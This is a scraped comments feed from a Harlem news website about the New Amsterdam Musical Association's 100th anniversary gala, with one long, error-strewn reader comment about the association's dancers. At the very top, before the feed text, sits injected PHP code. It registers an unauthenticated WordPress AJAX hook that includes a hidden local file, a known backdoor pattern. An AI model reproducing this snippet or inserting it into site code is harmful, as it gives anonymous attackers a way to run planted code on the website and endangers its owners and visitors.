if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } Comments on: Harlemusic: The New Amsterdam Musical Association’s 100th Anniversary Brownstone Gala https://theharlemtimes.com/online-news/harlemusic-the-new-amsterdam-musical-associations-100th-anniversary-brownstone-gala News for Harlem and the Harlems of the World Thu, 15 Sep 2022 04:11:21 +0000 hourly 1 https://wordpress.org/?v=6.8.3 By: Cassandra M. Wimbs https://theharlemtimes.com/online-news/harlemusic-the-new-amsterdam-musical-associations-100th-anniversary-brownstone-gala#comment-213549 Thu, 15 Sep 2022 04:11:21 +0000 https://theharlemtimes.com/?p=15374#comment-213549 As The Harlem MENTOR OF National Dance week., I maintain a list of hoofers c, current , friends , supporters and ancestors entitled Keeper of the flame. KP’s are in Dunham’s definition of Black dance, preserve cultural identity/ the Assn received its certificate as a Keeper of the Flame honoree a few years ago. I remember I was introduced to the Association through its late dance captain elder departed Sister Rev Ruby Reeves, who won a white house letter of commendation from ex-presidenrt Bush And HARLEM move FOR HEALTH DAY award which is for it is annuallly on MAY 1H An un ,Observance. a hostess for the assn/s events. rEEVES was a drum dancer.
fHE Assnl’ s other celebrant was the late Loise Abptt. she was a keeper of the flame designee, who was famous for performing sand man’s slim tap dance in a sandbox act, The assn a cultural pervert received its certificate of Keeper of the flame a few years ago.
Note that as a member of the Harlem ‘dance Delegation, the assn is an UN’ who’ who. and is included in the 17 year+ report on dance in Harlem that wsa sent to the Kennedy /centers Honors Program. Just thought I would add some updated information on the assn which is like a jazz museum. I am going to request that it be celebrated on May 18th on International Musuem day.
by Cassandra M Wimbs. Harlem dance delegation mentor and Friendship frce ambassador.

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